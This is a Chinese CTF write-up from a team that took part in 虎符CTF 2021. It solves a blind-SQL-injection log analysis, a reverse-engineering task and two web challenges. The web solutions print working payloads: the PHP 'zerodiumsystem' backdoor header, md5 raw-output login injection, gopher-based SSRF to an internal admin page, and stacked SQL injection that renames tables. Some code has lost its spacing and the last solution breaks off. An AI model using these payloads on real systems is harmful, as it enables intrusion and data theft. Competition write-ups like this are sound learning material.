虎符ctf wp

共 3923字,需浏览 8分钟

 ·

2021-04-06 14:41

作者:红色代码战队  编辑:白帽子社区运营团队




    "白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)

"    




战队信息

战队名称:红色代码战队

战队排名:59

解题情况

请粘贴战队排名截图和答题情况截图:

示例的操作流程:

“详细数据”→ “解题总榜”→“输入队伍名”→“搜索”→“截图”

替换为您队伍解


1 Misc 你会日志分析吗

access.log很明显是时间盲注的日志

注意看到了,每一位测试中有一行返回包长度与其他的不一样

OK,找到了判断点,直接把每一位的十进制ascii码给找出来就行了,使用Python简单处理

from base64 import *flag = ''with open('access.log','r') as f:   lines = f.readlines()   for line in lines:       if "select%20flag%20from%20flllag" in line:           packet_len = line[line.find(' 200 ')+5:line.find(' "-""python-requests/2.21.0"')]           if packet_len == '377':                ascii_code =line[line.find('))=')+3:line.find(',sleep')]                ascii_str =chr(int(ascii_code))                flag += ascii_str           else:                pass       else:           passprint(b64decode(flag).decode('utf-8'))

flag值:flag{You_are_so_great}

2 Web 签到

根据题目给出的hint,可知,这里的源码使用的是北京时间2021.3.29,git.php.net服务器遭到黑客攻陷,php源码被黑客植入后门。


详情见:http://cn-sec.com/archives/313267.html


直接抓包,修改user-agent

Payload: User-Agentt:zerodiumsystem("ls -lha /");

flag值:flag{505c0a8f-4d55-a3f2-aac08c8f5dd9}

3 Reverse: redemption code

IDA7.5打开反编译。

标准的c++写的程序。关键就看pre()函数和server_check_redemption_code()函数。


进到pre函数,里面就是检测了一下字符串长度然后还是执行了server_check_redemption_code()函数。所以关键只有server_check_redemption_code()函数。

函数内部就是建立一个数组。Box[input_len][256]。然后每一层的基准是标号。即Box[0][] = {0...}, Box[1][] = {1...},然后将输入的ASCII处修改为i+1。-

而长度又是限定的0xe。求解字符串分别为"Ninja Must Die 3 Is A Cruel Game, So Hard For Me"和"I Love Ninja Must Die 3. Beautiful Art And Motive Operation IsCreative."。第一个要求返回不是-1,即有解。第二个要求返回是7.算得k等于20.即“I Love Ninja Must Die”。直接就能看出flag是Ninja Must Die。

flag值:flag{NinjaMust Die}

 

4 Web “慢慢做”管理系统

根据题目hint,这里的查询语句是:

"SELECT * FROM users WHERE password ='".md5($password,true)."' limit 0,1";

经常做CTF的选手,一眼就看出来这里是要进行md5十六进制转成字符构造成注入

Payload:ffifdyop

直接将这个作为密码输入,遗憾的是,这个字符貌似被过滤了

搜索引擎找了一下,看看有没有和字符ffifdyop一样的md5加密后转换成字符会构造成注入的,找到一个:

129581926211651571912466741651878684928

将这个作为密码输入,登陆成功

SSRF,根据前面的线索,找一下内网的admin.php,这里输入:127.0.0.1/admin.php或这localhost/admin.php

在内网存在这样一个admin.php,接下来思路就比较明晰了,强大的gopher协议可以提交GET/POST请求,通过gopher去打这个admin.php,gopher打内网注入点

 

Python简单处理下我们需要传入内网的POST数据:

from urllib.parse import quote payload = "username=mochu7&password=mochu7" postdata = """POST /admin.php HTTP/1.1Host: 127.0.0.1Content-Type:application/x-www-form-urlencodedContent-Length: {} {}""".format(len(payload),payload) final_payload = 'gopher://127.0.0.1:80/_'+quote(quote(postdata))print(final_payload)print(postdata)

成功传入POST数据到内网admin.php,然后修改payload,加个单引号发现报错

后面就是继续修改payload去测试这个注入点,然后发现了这是堆叠注入,而且越测越像原来强网杯随便注那题,但是这里加了一些黑名单过滤了:select、handler等

payload = "username=mochu7';showdatabases#&password=mochu7"

堆叠查询到数据库:ctf、ctf2、information_schema

payload = "username=mochu7';usectf;show tables#&password=mochu7"payload = "username=mochu7';use ctf2;showtables#&password=mochu7"

ctf库:users表

ctf2库:real_admin_here_do_you_find表、fake_admin表

real_admin_here_do_you_find表:  password字段

我们要找的是真正的admin的密码

payload = "username=mochu7';usectf2;show columns from `real_admin_here_do_you_find`#&password=mochu7"

 

做到这里,继续下去本来应该是读取字段数据,但是这里过滤了select、handler做题的时候预编译也没成功,后来想起来当初做那道原题的时候有一种替换表名的姿势,我们把当前查询的fake_admin表改成别的名称,然后将我们想要查的real_admin_here_do_you_find表改成fake_admin表

 

payload = "username=mochu7';renametable fake_admin to mochu;rename table real_admin_here_do_you_find tofake_admin#&password=mochu7"

修改成功,然后构造注入

payload = "username=mochu7'or 1=1;showtables;#&password=mochu7"

得到真正的admin密码:

5fb4e07de914cfc82afb44vbaf402203

最后传入真正的admin账户名和密码

payload ="username=admin&password=5fb4e07de914cfc82afb44vbaf402203"

提示我们访问flag.php,并且查看源码拿着cookie去


往期精彩文章




apache ofbiz CVE-2021-26295 RMI反序列化分析
红队战术-用ssl加密你的metasploit通信
回顾2020,我们是如何挖掘漏洞的
【护网行动专题】红队攻击指南




技术支持:白帽子社区团队
— 扫码关注我们 


浏览 83
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报